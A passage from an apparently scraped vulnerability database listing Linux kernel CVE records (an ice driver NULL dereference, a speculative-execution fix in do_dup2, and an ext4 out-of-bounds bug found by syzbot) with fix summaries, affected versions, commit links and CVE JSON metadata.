    "cveId": "CVE-2024-26872",
    "datePublished": "2024-04-17T10:27:32.025Z",
    "dateReserved": "2024-02-19T14:20:24.184Z",
    "dateUpdated": "2026-05-12T11:49:47.495Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26855 (GCVE-0-2024-26855)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:17 – Updated: 2026-05-12 11:49

Title

net: ice: Fix potential NULL pointer dereference in ice_bridge_setlink()

Summary

In the Linux kernel, the following vulnerability has been resolved: net: ice: Fix potential NULL pointer dereference in ice_bridge_setlink() The function ice_bridge_setlink() may encounter a NULL pointer dereference if nlmsg_find_attr() returns NULL and br_spec is dereferenced subsequently in nla_for_each_nested(). To address this issue, add a check to ensure that br_spec is not NULL before proceeding with the nested attribute iteration.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/d9fefc51133107e59…
https://git.kernel.org/stable/c/37fe99016b12d3210…
https://git.kernel.org/stable/c/8d95465d9a4242004…
https://git.kernel.org/stable/c/afdd29726a6de4ba2…
https://git.kernel.org/stable/c/1a770927dc1d642b2…
https://git.kernel.org/stable/c/0e296067ae0d74a10…
https://git.kernel.org/stable/c/06e456a05d669ca30…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2 , < d9fefc51133107e59d192d773be86c1150cfeebb (git) Affected: b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2 , < 37fe99016b12d32100ce670216816dba6c48b309 (git) Affected: b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2 , < 8d95465d9a424200485792858c5b3be54658ce19 (git) Affected: b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2 , < afdd29726a6de4ba27cd15590661424c888dc596 (git) Affected: b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2 , < 1a770927dc1d642b22417c3e668c871689fc58b3 (git) Affected: b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2 , < 0e296067ae0d74a10b4933601f9aa9f0ec8f157f (git) Affected: b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2 , < 06e456a05d669ca30b224b8ed962421770c1496c (git)
Linux	Linux	Affected: 4.20 Unaffected: 0 , < 4.20 (semver) Unaffected: 5.4.272 , ≤ 5.4.* (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.82 , ≤ 6.1.* (semver) Unaffected: 6.6.22 , ≤ 6.6.* (semver) Unaffected: 6.7.10 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26855",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-23T14:02:40.817976Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:48:40.362Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.668Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d9fefc51133107e59d192d773be86c1150cfeebb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/37fe99016b12d32100ce670216816dba6c48b309"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8d95465d9a424200485792858c5b3be54658ce19"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/afdd29726a6de4ba27cd15590661424c888dc596"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1a770927dc1d642b22417c3e668c871689fc58b3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0e296067ae0d74a10b4933601f9aa9f0ec8f157f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/06e456a05d669ca30b224b8ed962421770c1496c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:34.975Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/intel/ice/ice_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d9fefc51133107e59d192d773be86c1150cfeebb",
              "status": "affected",
              "version": "b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2",
              "versionType": "git"
            },
            {
              "lessThan": "37fe99016b12d32100ce670216816dba6c48b309",
              "status": "affected",
              "version": "b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2",
              "versionType": "git"
            },
            {
              "lessThan": "8d95465d9a424200485792858c5b3be54658ce19",
              "status": "affected",
              "version": "b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2",
              "versionType": "git"
            },
            {
              "lessThan": "afdd29726a6de4ba27cd15590661424c888dc596",
              "status": "affected",
              "version": "b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2",
              "versionType": "git"
            },
            {
              "lessThan": "1a770927dc1d642b22417c3e668c871689fc58b3",
              "status": "affected",
              "version": "b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2",
              "versionType": "git"
            },
            {
              "lessThan": "0e296067ae0d74a10b4933601f9aa9f0ec8f157f",
              "status": "affected",
              "version": "b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2",
              "versionType": "git"
            },
            {
              "lessThan": "06e456a05d669ca30b224b8ed962421770c1496c",
              "status": "affected",
              "version": "b1edc14a3fbfe0154a2aecb8bb9775c3012cb6e2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/intel/ice/ice_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.272",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.82",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.272",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.82",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.22",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.10",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ice: Fix potential NULL pointer dereference in ice_bridge_setlink()\n\nThe function ice_bridge_setlink() may encounter a NULL pointer dereference\nif nlmsg_find_attr() returns NULL and br_spec is dereferenced subsequently\nin nla_for_each_nested(). To address this issue, add a check to ensure that\nbr_spec is not NULL before proceeding with the nested attribute iteration."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:26.049Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d9fefc51133107e59d192d773be86c1150cfeebb"
        },
        {
          "url": "https://git.kernel.org/stable/c/37fe99016b12d32100ce670216816dba6c48b309"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d95465d9a424200485792858c5b3be54658ce19"
        },
        {
          "url": "https://git.kernel.org/stable/c/afdd29726a6de4ba27cd15590661424c888dc596"
        },
        {
          "url": "https://git.kernel.org/stable/c/1a770927dc1d642b22417c3e668c871689fc58b3"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e296067ae0d74a10b4933601f9aa9f0ec8f157f"
        },
        {
          "url": "https://git.kernel.org/stable/c/06e456a05d669ca30b224b8ed962421770c1496c"
        }
      ],
      "title": "net: ice: Fix potential NULL pointer dereference in ice_bridge_setlink()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26855",
    "datePublished": "2024-04-17T10:17:17.858Z",
    "dateReserved": "2024-02-19T14:20:24.183Z",
    "dateUpdated": "2026-05-12T11:49:34.975Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42265 (GCVE-0-2024-42265)

Vulnerability from cvelistv5 – Published: 2024-08-17 08:54 – Updated: 2026-05-12 11:56

Title

protect the fetch of ->fd[fd] in do_dup2() from mispredictions

Summary

In the Linux kernel, the following vulnerability has been resolved: protect the fetch of ->fd[fd] in do_dup2() from mispredictions both callers have verified that fd is not greater than ->max_fds; however, misprediction might end up with tofree = fdt->fd[fd]; being speculatively executed. That's wrong for the same reasons why it's wrong in close_fd()/file_close_fd_locked(); the same solution applies - array_index_nospec(fd, fdt->max_fds) could differ from fd only in case of speculative execution on mispredicted path.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/ed42e8ff509d2a61c…
https://git.kernel.org/stable/c/41a6c31df77bd8e05…
https://git.kernel.org/stable/c/08775b3d6ed117cf4…
https://git.kernel.org/stable/c/3f480493550b6a23d…
https://git.kernel.org/stable/c/5db999fff545b924b…
https://git.kernel.org/stable/c/da72e783afd27d9f4…
https://git.kernel.org/stable/c/1171ceccabfd596ca…
https://git.kernel.org/stable/c/8aa37bde1a7b64581…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 8280d16172243702ed43432f826ca6130edb4086 , < ed42e8ff509d2a61c6642d1825032072dab79f26 (git) Affected: 8280d16172243702ed43432f826ca6130edb4086 , < 41a6c31df77bd8e050136b0a200b537da9e1084a (git) Affected: 8280d16172243702ed43432f826ca6130edb4086 , < 08775b3d6ed117cf4518754ec7300ee42b6a5368 (git) Affected: 8280d16172243702ed43432f826ca6130edb4086 , < 3f480493550b6a23d3a65d095d6569d4a7f56a0f (git) Affected: 8280d16172243702ed43432f826ca6130edb4086 , < 5db999fff545b924b24c9afd368ef5c17279b176 (git) Affected: 8280d16172243702ed43432f826ca6130edb4086 , < da72e783afd27d9f487836b2e6738146c0edd149 (git) Affected: 8280d16172243702ed43432f826ca6130edb4086 , < 1171ceccabfd596ca370c5d2cbb47d110c3f2fe1 (git) Affected: 8280d16172243702ed43432f826ca6130edb4086 , < 8aa37bde1a7b645816cda8b80df4753ecf172bf1 (git)
Linux	Linux	Affected: 3.7 Unaffected: 0 , < 3.7 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.104 , ≤ 6.1.* (semver) Unaffected: 6.6.45 , ≤ 6.6.* (semver) Unaffected: 6.10.4 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42265",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:12:30.860612Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:05.845Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:02:59.813Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:42.073Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ed42e8ff509d2a61c6642d1825032072dab79f26",
              "status": "affected",
              "version": "8280d16172243702ed43432f826ca6130edb4086",
              "versionType": "git"
            },
            {
              "lessThan": "41a6c31df77bd8e050136b0a200b537da9e1084a",
              "status": "affected",
              "version": "8280d16172243702ed43432f826ca6130edb4086",
              "versionType": "git"
            },
            {
              "lessThan": "08775b3d6ed117cf4518754ec7300ee42b6a5368",
              "status": "affected",
              "version": "8280d16172243702ed43432f826ca6130edb4086",
              "versionType": "git"
            },
            {
              "lessThan": "3f480493550b6a23d3a65d095d6569d4a7f56a0f",
              "status": "affected",
              "version": "8280d16172243702ed43432f826ca6130edb4086",
              "versionType": "git"
            },
            {
              "lessThan": "5db999fff545b924b24c9afd368ef5c17279b176",
              "status": "affected",
              "version": "8280d16172243702ed43432f826ca6130edb4086",
              "versionType": "git"
            },
            {
              "lessThan": "da72e783afd27d9f487836b2e6738146c0edd149",
              "status": "affected",
              "version": "8280d16172243702ed43432f826ca6130edb4086",
              "versionType": "git"
            },
            {
              "lessThan": "1171ceccabfd596ca370c5d2cbb47d110c3f2fe1",
              "status": "affected",
              "version": "8280d16172243702ed43432f826ca6130edb4086",
              "versionType": "git"
            },
            {
              "lessThan": "8aa37bde1a7b645816cda8b80df4753ecf172bf1",
              "status": "affected",
              "version": "8280d16172243702ed43432f826ca6130edb4086",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.7"
            },
            {
              "lessThan": "3.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.104",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.45",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.104",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.45",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.4",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nprotect the fetch of -\u003efd[fd] in do_dup2() from mispredictions\n\nboth callers have verified that fd is not greater than -\u003emax_fds;\nhowever, misprediction might end up with\n        tofree = fdt-\u003efd[fd];\nbeing speculatively executed.  That\u0027s wrong for the same reasons\nwhy it\u0027s wrong in close_fd()/file_close_fd_locked(); the same\nsolution applies - array_index_nospec(fd, fdt-\u003emax_fds) could differ\nfrom fd only in case of speculative execution on mispredicted path."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:28:59.946Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ed42e8ff509d2a61c6642d1825032072dab79f26"
        },
        {
          "url": "https://git.kernel.org/stable/c/41a6c31df77bd8e050136b0a200b537da9e1084a"
        },
        {
          "url": "https://git.kernel.org/stable/c/08775b3d6ed117cf4518754ec7300ee42b6a5368"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f480493550b6a23d3a65d095d6569d4a7f56a0f"
        },
        {
          "url": "https://git.kernel.org/stable/c/5db999fff545b924b24c9afd368ef5c17279b176"
        },
        {
          "url": "https://git.kernel.org/stable/c/da72e783afd27d9f487836b2e6738146c0edd149"
        },
        {
          "url": "https://git.kernel.org/stable/c/1171ceccabfd596ca370c5d2cbb47d110c3f2fe1"
        },
        {
          "url": "https://git.kernel.org/stable/c/8aa37bde1a7b645816cda8b80df4753ecf172bf1"
        }
      ],
      "title": "protect the fetch of -\u003efd[fd] in do_dup2() from mispredictions",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42265",
    "datePublished": "2024-08-17T08:54:21.636Z",
    "dateReserved": "2024-07-30T07:40:12.259Z",
    "dateUpdated": "2026-05-12T11:56:42.073Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42305 (GCVE-0-2024-42305)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:09 – Updated: 2026-05-12 11:56

Title

ext4: check dot and dotdot of dx_root before making dir indexed

Summary

In the Linux kernel, the following vulnerability has been resolved: ext4: check dot and dotdot of dx_root before making dir indexed Syzbot reports a issue as follows: ============================================ BUG: unable to handle page fault for address: ffffed11022e24fe PGD 23ffee067 P4D 23ffee067 PUD 0 Oops: Oops: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 0 PID: 5079 Comm: syz-executor306 Not tainted 6.10.0-rc5-g55027e689933 #0 Call Trace: <TASK> make_indexed_dir+0xdaf/0x13c0 fs/ext4/namei.c:2341 ext4_add_entry+0x222a/0x25d0 fs/ext4/namei.c:2451 ext4_rename fs/ext4/namei.c:3936 [inline] ext4_rename2+0x26e5/0x4370 fs/ext4/namei.c:4214 [...] ============================================ The immediate cause of this problem is that there is only one valid dentry for the block to be split during do_split, so split==0 results in out of bounds accesses to the map triggering the issue. do_split unsigned split dx_make_map count = 1 split = count/2 = 0; continued = hash2 == map[split - 1].hash; ---> map[4294967295] The maximum length of a filename is 255 and the minimum block size is 1024, so it is always guaranteed that the number of entries is greater than or equal to 2 when do_split() is called. But syzbot's crafted image has no dot and dotdot in dir, and the dentry distribution in dirblock is as follows: bus dentry1 hole dentry2 free |xx--|xx-------------|...............|xx-------------|...............| 0 12 (8+248)=256 268 256 524 (8+256)=264 788 236 1024 So when renaming dentry1 increases its name_len length by 1, neither hole nor free is sufficient to hold the new dentry, and make_indexed_dir() is called. In make_indexed_dir() it is assumed that the first two entries of the dirblock must be dot and dotdot, so bus and dentry1 are left in dx_root because they are treated as dot and dotdot, and only dentry2 is moved to the new leaf block. That's why count is equal to 1. Therefore add the ext4_check_dx_root() helper function to add more sanity checks to dot and dotdot before starting the conversion to avoid the above issue.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/b80575ffa98b5bb3a…
https://git.kernel.org/stable/c/19e13b4d7f0303186…
https://git.kernel.org/stable/c/42d420517072028fb…
https://git.kernel.org/stable/c/8afe06ed3be7a874b…
https://git.kernel.org/stable/c/abb411ac991810c0b…
https://git.kernel.org/stable/c/9d241b7a39af192d1…
https://git.kernel.org/stable/c/cdd345321699042ec…
https://git.kernel.org/stable/c/50ea741def587a64e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ac27a0ec112a089f1a5102bc8dffc79c8c815571 , < b80575ffa98b5bb3a5d4d392bfe4c2e03e9557db (git) Affected: ac27a0ec112a089f1a5102bc8dffc79c8c815571 , < 19e13b4d7f0303186fcc891aba8d0de7c8fdbda8 (git) Affected: ac27a0ec112a089f1a5102bc8dffc79c8c815571 , < 42d420517072028fb0eb852c358056b7717ba5aa (git) Affected: ac27a0ec112a089f1a5102bc8dffc79c8c815571 , < 8afe06ed3be7a874b3cd82ef5f8959aca8d6429a (git) Affected: ac27a0ec112a089f1a5102bc8dffc79c8c815571 , < abb411ac991810c0bcbe51c2e76d2502bf611b5c (git) Affected: ac27a0ec112a089f1a5102bc8dffc79c8c815571 , < 9d241b7a39af192d1bb422714a458982c7cc67a2 (git) Affected: ac27a0ec112a089f1a5102bc8dffc79c8c815571 , < cdd345321699042ece4a9d2e70754d2397d378c5 (git) Affected: ac27a0ec112a089f1a5102bc8dffc79c8c815571 , < 50ea741def587a64e08879ce6c6a30131f7111e7 (git)
Linux	Linux	Affected: 2.6.19 Unaffected: 0 , < 2.6.19 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42305",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:10:19.161352Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:27.970Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:04:12.008Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:51.529Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/namei.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b80575ffa98b5bb3a5d4d392bfe4c2e03e9557db",
              "status": "affected",
              "version": "ac27a0ec112a089f1a5102bc8dffc79c8c815571",
              "versionType": "git"
            },
            {
              "lessThan": "19e13b4d7f0303186fcc891aba8d0de7c8fdbda8",
              "status": "affected",
              "version": "ac27a0ec112a089f1a5102bc8dffc79c8c815571",
              "versionType": "git"
            },
            {
              "lessThan": "42d420517072028fb0eb852c358056b7717ba5aa",
              "status": "affected",
              "version": "ac27a0ec112a089f1a5102bc8dffc79c8c815571",
              "versionType": "git"
            },
            {
              "lessThan": "8afe06ed3be7a874b3cd82ef5f8959aca8d6429a",
              "status": "affected",
              "version": "ac27a0ec112a089f1a5102bc8dffc79c8c815571",
              "versionType": "git"
            },
            {
              "lessThan": "abb411ac991810c0bcbe51c2e76d2502bf611b5c",
              "status": "affected",
